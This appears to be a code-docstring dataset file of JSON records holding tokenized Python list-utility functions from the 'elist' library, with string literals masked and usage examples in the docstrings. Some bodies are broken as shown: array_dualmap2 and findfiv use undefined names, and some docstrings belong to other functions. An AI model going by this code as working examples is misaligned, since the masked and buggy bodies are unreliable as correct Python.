{"signature": "def array_dualmap(ol,value_map_func,**kwargs):", "body": "def get_self(obj):<EOL><INDENT>return(obj)<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>index_map_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>index_map_func_args = []<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>value_map_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>value_map_func_args = []<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>index_map_func = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>index_map_func = get_self<EOL><DEDENT>length = ol.__len__()<EOL>il = list(range(<NUM_LIT:0>,length))<EOL>nil = list(map(lambda ele:index_map_func(ele,*index_map_func_args),il))<EOL>nvl = []<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>ele = ol[i]<EOL>v = value_map_func(nil[i],ele,*value_map_func_args)<EOL>nvl.append(v)<EOL><DEDENT>return(nvl)<EOL>", "docstring": "from elist.elist import *\nol = ['a','b','c','d']\ndef index_map_func(index,prefix,suffix):\n    s = prefix +str(index+97)+ suffix\n    return(s)\n\ndef value_map_func(mapped_index,ele,prefix,suffix):\n    s = prefix+mapped_index+': ' + str(ele) + suffix\n    return(s)\n\n####\nrslt = array_dualmap2(ol,index_map_func=index_map_func,index_map_func_args=[': ',' is '],value_map_func=value_map_func,value_map_func_args=['ord',' yes?'])\npobj(rslt)", "id": "f1599:m5"}
{"signature": "def array_dualmap2(*refls,**kwargs):", "body": "def get_self(obj,*args):<EOL><INDENT>return(obj)<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>value_map_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>value_map_func_args = []<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>index_map_func = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>index_map_func = get_self<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>index_map_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>index_map_func_args = []<EOL><DEDENT>length = ol.__len__()<EOL>il = list(range(<NUM_LIT:0>,length))<EOL>nil = list(map(lambda ele:index_map_func(ele,*index_map_func_args),il))<EOL>refls = list(refls)<EOL>refls = prepend(refls,nil)<EOL>nvl = array_map2(*refls,map_func = value_map_func,map_func_args=value_map_func_args)<EOL>return(nvl)<EOL>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\nrefl1 = ['+','+','+','+']\nrefl2 = [7,7,7,7]\nrefl3 = ['=','=','=','=']\ndef index_map_func(index):\n    s =\"<\"+str(index)+\">\"\n    return(s)\n\ndef value_map_func(mapped_index,ele,ref_ele1,ref_ele2,ref_ele3,prefix,suffix):\n    s = prefix+mapped_index+': ' + str(ele) + str(ref_ele1) + str(ref_ele2) + str(ref_ele3) + suffix\n    return(s)\n\n####\nrslt = array_dualmap2(ol,refl1,refl2,refl3,index_map_func=index_map_func,value_map_func=value_map_func,value_map_func_args=['Q','?'])\npobj(rslt)", "id": "f1599:m6"}
{"signature": "def mapfi(ol,map_func_args,**kwargs):", "body": "diff_funcs_arr = kwargs['<STR_LIT>']<EOL>lngth = ol.__len__()<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = diff_funcs_arr[i]<EOL>args = map_func_args<EOL>ele = func(index,*args)<EOL>rslt.append(ele)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "#mapfi            \u5171\u4eab\u76f8\u540c\u7684o,v\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570\n#                 share common other_args,NOT take value as a param for map_func\n#map_func         diff_func(index,*common_args)", "id": "f1599:m7"}
{"signature": "def mapfv(ol,map_func_args,*args,**kwargs):", "body": "args = list(args)<EOL>lngth = args.__len__()<EOL>if(lngth == <NUM_LIT:0>):<EOL><INDENT>diff_funcs_arr = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>diff_funcs_arr = args[<NUM_LIT:0>]<EOL><DEDENT>lngth = ol.__len__()<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = diff_funcs_arr[i]<EOL>args = map_func_args<EOL>ele = func(value,*args)<EOL>rslt.append(ele)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "#mapfv            \u5171\u4eab\u76f8\u540c\u7684o,i\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570\n#                 share common other_args,NOT take value as a param for map_func\n#map_func         diff_func(value,*common_args)", "id": "f1599:m8"}
{"signature": "def mapfo(ol,**kwargs):", "body": "diff_args_arr = kwargs['<STR_LIT>']<EOL>diff_funcs_arr = kwargs['<STR_LIT>']<EOL>lngth = ol.__len__()<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = diff_funcs_arr[i]<EOL>args = diff_args_arr[i]<EOL>ele = func(value,*args)<EOL>rslt.append(ele)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "#mapfo            i\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570,v\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570\n#                 NOT take value as a param for map_func,NOT take index as a param for map_func\n#map_func         diff_func(*diff_args)", "id": "f1599:m10"}
{"signature": "def mapiv(ol,map_func,map_func_args=[]):", "body": "lngth = ol.__len__()<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = map_func<EOL>args = map_func_args<EOL>ele = func(index,value,*args)<EOL>rslt.append(ele)    <EOL><DEDENT>return(rslt)<EOL>", "docstring": "#mapiv            \u5171\u4eab\u76f8\u540c\u7684o,\u5171\u4eab\u76f8\u540c\u7684f              share common map_func,share common other_args\n#map_func         common_func(index,value,*common_args)", "id": "f1599:m11"}
{"signature": "def mapiv2(ol,map_func,*args,**kwargs):", "body": "args = list(args)<EOL>if(args.__len__() > <NUM_LIT:0>):<EOL><INDENT>map_func_args = args<EOL><DEDENT>else:<EOL><INDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>map_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>map_func_args = []<EOL><DEDENT><DEDENT>lngth = ol.__len__()<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>ele = map_func(i,ol[i],*map_func_args)<EOL>rslt.append(ele)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nol = ['a','b','c','d']\n#1\ndef map_func(index,value,*others):\n    return(value * index + others[0] +others[-1])\nmapiv(ol,map_func,'tailA-','tailB')\n#2\nmapiv2(ol,lambda index,value,other:(value*index+other),['-'])\nmapiv2(ol,lambda index,value,other:(value*index+other),'-')\nmapiv2(ol,lambda index,value:(value*index))", "id": "f1599:m12"}
{"signature": "def mapio(ol,map_func,**kwargs):", "body": "lngth = ol.__len__()<EOL>diff_args_arr = kwargs['<STR_LIT>']<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = map_func<EOL>args = diff_args_arr[i]<EOL>ele = func(index,*args)<EOL>rslt.append(ele)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "#mapvo    \u5171\u4eab\u76f8\u540c\u7684f,i\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570\n#         share common map_func,NOT take index as a param for map_func\n#         common_func(value,*priv_args)", "id": "f1599:m13"}
{"signature": "def mapvo(ol,map_func,*args,**kwargs):", "body": "lngth = ol.__len__()<EOL>args = list(args)<EOL>if(args.__len__()==<NUM_LIT:0>):<EOL><INDENT>diff_args_arr = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>diff_args_arr = args[<NUM_LIT:0>]<EOL><DEDENT>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = map_func<EOL>args = diff_args_arr[i]<EOL>ele = func(value,*args)<EOL>rslt.append(ele)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "#mapvo    \u5171\u4eab\u76f8\u540c\u7684f,i\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570\n#         share common map_func,NOT take index as a param for map_func\n#         common_func(value,*priv_args)", "id": "f1599:m14"}
{"signature": "def array_map2(*referls,**kwargs):", "body": "map_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>map_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>map_func_args = []<EOL><DEDENT>length = referls.__len__()<EOL>rslt = []<EOL>anum = list(referls)[<NUM_LIT:0>].__len__()<EOL>for j in range(<NUM_LIT:0>,anum):<EOL><INDENT>args = []<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>refl = referls[i]<EOL>args.append(refl[j])<EOL><DEDENT>args.extend(map_func_args)<EOL>v = map_func(*args)<EOL>rslt.append(v)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "obseleted just for compatible\nfrom elist.elist import *\nol = [1,2,3,4]\nrefl1 = ['+','+','+','+']\nrefl2 = [7,7,7,7]\nrefl3 = ['=','=','=','=']\ndef map_func(ele,ref_ele1,ref_ele2,ref_ele3,prefix,suffix):\n    s = prefix+': ' + str(ele) + str(ref_ele1) + str(ref_ele2) + str(ref_ele3) + suffix\n    return(s)\n\n####\nrslt = array_map2(ol,refl1,refl2,refl3,map_func=map_func,map_func_args=['Q','?'])\npobj(rslt)", "id": "f1599:m15"}
{"signature": "def mapf(ol,map_func_args,**kwargs):", "body": "diff_funcs_arr = kwargs['<STR_LIT>']<EOL>lngth = ol.__len__()<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = diff_funcs_arr[i]<EOL>args = map_func_args<EOL>ele = func(*args)<EOL>rslt.append(ele)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "#mapf     i\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570,v\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570,\u5171\u4eab\u76f8\u540c\u7684o\n#         NOT take value as a param for map_func\n#         NOT take index as a param for map_func\n#         share common other_args\n#         diff_func(*common_args)", "id": "f1599:m16"}
{"signature": "def mapi(ol,map_func,map_func_args=[]):", "body": "lngth = ol.__len__()<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = map_func<EOL>args = map_func_args<EOL>ele = func(index,*args)<EOL>rslt.append(ele)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "#mapi     v\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570,\u5171\u4eab\u76f8\u540c\u7684f,\u5171\u4eab\u76f8\u540c\u7684o\n#         NOT take value as a param for map_func\n#         share common other_args\n#         share common map_func\n#         common_func(index,*common_args)", "id": "f1599:m17"}
{"signature": "def mapv(ol,map_func,map_func_args=[]):", "body": "rslt = list(map(lambda ele:map_func(ele,*map_func_args),ol))<EOL>return(rslt)<EOL>", "docstring": "#mapv     i\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570,\u5171\u4eab\u76f8\u540c\u7684f,\u5171\u4eab\u76f8\u540c\u7684o\n#         NOT take index as a param for map_func\n#         share common other_args\n#         share common map_func\n#         common_func(value,*common_args)", "id": "f1599:m18"}
{"signature": "def array_map(ol,map_func,*args):", "body": "rslt = list(map(lambda ele:map_func(ele,*args),ol))<EOL>return(rslt)<EOL>", "docstring": "obseleted,just for compatible\nfrom elist.elist import *\nol = [1,2,3,4]\ndef map_func(ele,mul,plus):\n    return(ele*mul+plus)\n\narray_map(ol,map_func,2,100)", "id": "f1599:m19"}
{"signature": "def mapo(ol,map_func,*params,**kwargs):", "body": "params = list(params)<EOL>if(params.__len__()==<NUM_LIT:0>):<EOL><INDENT>diff_args_arr = kwargs['<STR_LIT>']<EOL><DEDENT>elif(isinstance(params[<NUM_LIT:0>],list)):<EOL><INDENT>diff_args_arr = params[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>diff_args_arr = params<EOL><DEDENT>lngth = ol.__len__()<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = map_func<EOL>args = diff_args_arr[i]<EOL>ele = func(*args)<EOL>rslt.append(ele)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "#mapo     i\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570,v\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570,\u5171\u4eab\u76f8\u540c\u7684f\n#         NOT take index as a param for map_func\n#         NOT take value as a param for map_func\n#         share common map_func\n#         common_func(*priv_args)", "id": "f1599:m20"}
{"signature": "def findfivo(ol,*args,**kwargs):", "body": "args = list(args)<EOL>lngth = args.__len__()<EOL>if(lngth==<NUM_LIT:0>):<EOL><INDENT>diff_funcs_arr = kwargs['<STR_LIT>']<EOL>diff_args_arr = kwargs['<STR_LIT>']<EOL><DEDENT>elif(lngth==<NUM_LIT:1>):<EOL><INDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>diff_funcs_arr = args[<NUM_LIT:0>]<EOL>diff_args_arr = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>diff_funcs_arr = kwargs['<STR_LIT>']<EOL>diff_args_arr = args[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>diff_funcs_arr = args[<NUM_LIT:0>]<EOL>diff_args_arr = args[<NUM_LIT:1>]<EOL><DEDENT>lngth = ol.__len__()<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = diff_funcs_arr[i]<EOL>args = diff_args_arr[i]<EOL>cond = func(index,value,*args)<EOL>if(cond):<EOL><INDENT>rslt.append((index,value))<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return(rslt)<EOL>", "docstring": "#findfivo          f,i,v,o\u56db\u5143\u51b3\u5b9a                     fivo-4-tuple-engine\n#cond_func         diff_func(index,value,*diff_args)", "id": "f1599:m21"}
{"signature": "def findfiv(ol,cond_func_args,**kwargs):", "body": "lngth = ol.__len__()<EOL>diff_funcs_arr = kwargs['<STR_LIT>']<EOL>common_args_arr = init(lngth,map_func_args)<EOL>rslt = findfivo(ol,cond_funcs=diff_funcs_arr,cond_func_args_array=common_args_arr)<EOL>return(rslt)<EOL>", "docstring": "#findfiv           \u5171\u4eab\u76f8\u540c\u7684o                         share common other_args\n#cond_func         diff_func(index,value,*common_args)", "id": "f1599:m24"}
{"signature": "def findv(ol,cond_func,cond_func_args=[]):", "body": "rslt = []<EOL>for i in range(ol.__len__()):<EOL><INDENT>cond = cond_func(ol[i],*cond_func_args)<EOL>if(cond):<EOL><INDENT>rslt.append((i,ol[i]))<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return(rslt)<EOL>", "docstring": "#mapv     i\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570,\u5171\u4eab\u76f8\u540c\u7684f,\u5171\u4eab\u76f8\u540c\u7684o\n#         NOT take index as a param for map_func\n#         share common other_args\n#         share common cond_func\n#         common_func(value,*common_args)", "id": "f1599:m25"}
{"signature": "def cond_select_all(ol,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>cond_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cond_func_args = []<EOL><DEDENT>founded = find_all(ol,cond_func,*cond_func_args)<EOL>rslt = array_map(founded,lambda ele:ele['<STR_LIT:value>'])<EOL>return(rslt)<EOL>", "docstring": "from elist.elist import *\nfrom elist.jprint import pobj\ndef test_func(ele,x):\n    cond = (ele > x)\n    return(cond)\n\nol = [1,2,3,4,5,6,7]\nrslt = cond_select_all(ol,cond_func = test_func,cond_func_args = [3])\npobj(rslt)", "id": "f1599:m28"}
{"signature": "def cond_select_all2(ol,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>cond_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cond_func_args = []<EOL><DEDENT>founded = find_all2(ol,cond_func,*cond_func_args)<EOL>rslt = array_map(founded,lambda ele:ele['<STR_LIT:value>'])<EOL>return(rslt)<EOL>", "docstring": "from elist.elist import *\nfrom xdict.jprint import pobj\ndef test_func(ele,index,x):\n    cond1 = (ele > x)\n    cond2 = (index %2 == 0)\n    cond =(cond1 & cond2)\n    return(cond)\n\nol = [1,2,3,4,5,6,7]\nrslt = cond_select_all2(ol,cond_func = test_func,cond_func_args = [3])\npobj(rslt)", "id": "f1599:m29"}
{"signature": "def cond_select_indexes_all(ol,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>cond_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cond_func_args = []<EOL><DEDENT>founded = find_all(ol,cond_func,*cond_func_args)<EOL>rslt = array_map(founded,lambda ele:ele['<STR_LIT:index>'])<EOL>return(rslt)<EOL>", "docstring": "from elist.elist import *\nfrom elist.jprint import pobj\ndef test_func(ele,x):\n    cond = (ele > x)\n    return(cond)\n\nol = [1,2,3,4,5,6,7]\nrslt = cond_select_indexes_all(ol,cond_func = test_func, cond_func_args = [3])\npobj(rslt)", "id": "f1599:m35"}
{"signature": "def cond_select_indexes_all2(ol,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>cond_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cond_func_args = []<EOL><DEDENT>founded = find_all2(ol,cond_func,*cond_func_args)<EOL>rslt = array_map(founded,lambda ele:ele['<STR_LIT:index>'])<EOL>return(rslt)<EOL>", "docstring": "from elist.elist import *\nfrom xdict.jprint import pobj\ndef test_func(ele,index,x):\n    cond1 = (ele > x)\n    cond2 = (index %2 == 0)\n    cond =(cond1 & cond2)\n    return(cond)\n\nol = [1,2,3,4,5,6,7]\nrslt = cond_select_indexes_all2(ol,cond_func = test_func,cond_func_args = [3])\npobj(rslt)", "id": "f1599:m36"}
{"signature": "def select_seqs(ol,seqs):", "body": "rslt =copy.deepcopy(ol)<EOL>rslt = itemgetter(*seqs)(ol)<EOL>if(seqs.__len__()==<NUM_LIT:0>):<EOL><INDENT>rslt = []<EOL><DEDENT>elif(seqs.__len__()==<NUM_LIT:1>):<EOL><INDENT>rslt = [rslt]<EOL><DEDENT>else:<EOL><INDENT>rslt = list(rslt)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nol = ['a','b','c','d']\nselect_seqs(ol,[1,2])", "id": "f1599:m51"}
{"signature": "def select_some(ol,*seqs):", "body": "seqs = list(seqs)<EOL>return(select_seqs(ol,seqs))<EOL>", "docstring": "from elist.elist import *\nol = ['a','b','c','d']\nselect_some(ol,1,2)", "id": "f1599:m53"}
{"signature": "def append(ol,ele,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>new = copy.deepcopy(ol)<EOL>new.append(ele)<EOL>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.append(ele)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\nele = 5\nid(ol)\nappend(ol,ele,mode=\"original\")\nol\nid(ol)\n####\nol = [1,2,3,4]\nele = 5\nid(ol)\nnew = append(ol,ele)\nnew\nid(new)", "id": "f1599:m54"}
{"signature": "def append_some(ol,*eles,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>return(extend(ol,list(eles),mode=mode))<EOL>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\nid(ol)\nappend_some(ol,5,6,7,8,mode=\"original\")\nol\nid(ol)\n####\nol = [1,2,3,4]\nid(ol)\nnew = append_some(ol,5,6,7,8)\nnew\nid(new)", "id": "f1599:m55"}
{"signature": "def prepend(ol,ele,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>new = [ele]<EOL>cpol = copy.deepcopy(ol)<EOL>new.extend(cpol)<EOL>return(new)<EOL><DEDENT>else:<EOL><INDENT>length = ol.__len__()<EOL>ol.append(None)<EOL>for i in range(length-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>ol[i+<NUM_LIT:1>] = ol[i]<EOL><DEDENT>ol[<NUM_LIT:0>] = ele<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\nele = 5\nid(ol)\nprepend(ol,ele,mode=\"original\")\nol\nid(ol)\n####\nol = [1,2,3,4]\nele = 5\nid(ol)\nnew = prepend(ol,ele)\nnew\nid(new)", "id": "f1599:m56"}
{"signature": "def prepend_some(ol,*eles,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>return(prextend(ol,list(eles),mode=mode))<EOL>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\nid(ol)\nprepend_some(ol,5,6,7,8,mode=\"original\")\nol\nid(ol)\n####\nol = [1,2,3,4]\nid(ol)\nnew = prepend_some(ol,5,6,7,8)\nnew\nid(new)\n#####unshift is the same as prepend_some\n>>> unshift(ol,9,10,11,12)\n[9, 10, 11, 12, 1, 2, 3, 4]", "id": "f1599:m57"}
{"signature": "def extend(ol,nl,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>new = copy.deepcopy(ol)<EOL>cpnl = copy.deepcopy(nl)<EOL>new.extend(cpnl)<EOL>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.extend(nl)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\nnl = [5,6,7,8]\nid(ol)\nextend(ol,nl,mode=\"original\")\nol\nid(ol)\n####\nol = [1,2,3,4]\nnl = [5,6,7,8]\nid(ol)\nnew = extend(ol,nl)\nnew\nid(new)", "id": "f1599:m58"}
{"signature": "def push(ol,*eles,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>eles = list(eles)<EOL>return(extend(ol,eles,mode=mode))<EOL>", "docstring": "from elist.elist import *\nol=[1,2,3,4]\nid(ol)\nnew = push(ol,5,6,7)\nnew\nid(new)\n####\nol=[1,2,3,4]\nid(ol)\nrslt = push(ol,5,6,7,mode=\"original\")\nrslt\nid(rslt)", "id": "f1599:m59"}
{"signature": "def prextend(ol,nl,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>new = copy.deepcopy(nl)<EOL>cpol = copy.deepcopy(ol)<EOL>new.extend(cpol)<EOL>return(new)<EOL><DEDENT>else:<EOL><INDENT>length = ol.__len__()<EOL>nl_len = nl.__len__()<EOL>for i in range(<NUM_LIT:0>,nl_len):<EOL><INDENT>ol.append(None)<EOL><DEDENT>for i in range(length-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>ol[i+nl_len] = ol[i]<EOL><DEDENT>for i in range(<NUM_LIT:0>,nl_len):<EOL><INDENT>ol[i] = nl[i]<EOL><DEDENT>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\nnl = [5,6,7,8]\nid(ol)\nid(nl)\nprextend(ol,nl,mode=\"original\")\nol\nid(ol)\n####\nol = [1,2,3,4]\nnl = [5,6,7,8]\nid(ol)\nid(nl)\nnew = prextend(ol,nl)\nnew\nid(new)", "id": "f1599:m60"}
{"signature": "def concat(*arrays):", "body": "new = []<EOL>length = arrays.__len__()<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>array = copy.deepcopy(arrays[i])<EOL>new.extend(array)<EOL><DEDENT>return(new)<EOL>", "docstring": "from elist.elist import *\nl1 = [1,2,3]\nl2 = [\"a\",\"b\",\"c\"]\nl3 = [100,200]\nid(l1)\nid(l2)\nid(l3)\narrays = [l1,l2,l3]\nnew = concat(arrays)\nnew\nid(new)", "id": "f1599:m61"}
{"signature": "def concat_seqs(arrays):", "body": "return(concat(*tuple(arrays)))<EOL>", "docstring": "from elist.elist import *\nl1 = [1,2,3]\nl2 = [\"a\",\"b\",\"c\"]\nl3 = [100,200]\nid(l1)\nid(l2)\nid(l3)\narrays = [l1,l2,l3]\nnew = concat_seqs(arrays)\nnew\nid(new)", "id": "f1599:m62"}
{"signature": "def car(ol):", "body": "return(ol[<NUM_LIT:0>])<EOL>", "docstring": "from elist.elist import *\nol=[1,2,3,4]\ncar(ol)", "id": "f1599:m63"}
{"signature": "def cdr(ol,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>cpol = copy.deepcopy(ol)<EOL>return(cpol[<NUM_LIT:1>:])<EOL><DEDENT>else:<EOL><INDENT>ol.pop(<NUM_LIT:0>)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol=[1,2,3,4]\nid(ol)\nnew = cdr(ol)\nnew\nid(new)\n####\nol=[1,2,3,4]\nid(ol)\nrslt = cdr(ol,mode=\"original\")\nrslt\nid(rslt)", "id": "f1599:m64"}
{"signature": "def cons(head_ele,l,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>return(prepend(l,head_ele,mode=mode))<EOL>", "docstring": "from elist.elist import *\nol=[1,2,3,4]\nid(ol)\nnew = cons(5,ol)\nnew\nid(new)\n####\nol=[1,2,3,4]\nid(ol)\nrslt = cons(5,ol,mode=\"original\")\nrslt\nid(rslt)", "id": "f1599:m65"}
{"signature": "def uniform_index(index,length):", "body": "if(index<<NUM_LIT:0>):<EOL><INDENT>rl = length+index<EOL>if(rl<<NUM_LIT:0>):<EOL><INDENT>index = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>index = rl<EOL><DEDENT><DEDENT>elif(index>=length):<EOL><INDENT>index = length<EOL><DEDENT>else:<EOL><INDENT>index = index<EOL><DEDENT>return(index)<EOL>", "docstring": "uniform_index(0,3)\nuniform_index(-1,3)\nuniform_index(-4,3)\nuniform_index(-3,3)\nuniform_index(5,3)", "id": "f1599:m66"}
{"signature": "def insert(ol,start_index,ele,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>length = ol.__len__()<EOL>cpol = copy.deepcopy(ol)<EOL>si = uniform_index(start_index,length)<EOL>new = copy.deepcopy(cpol[<NUM_LIT:0>:si])<EOL>new.append(ele)<EOL>new.extend(cpol[si:])<EOL>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.insert(start_index,ele)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\nele = 5\nid(ol)\ninsert(ol,2,ele,mode=\"original\")\nol\nid(ol)\n####\nol = [1,2,3,4]\nele = 5\nid(ol)\nnew = insert(ol,2,ele)\nnew\nid(new)", "id": "f1599:m67"}
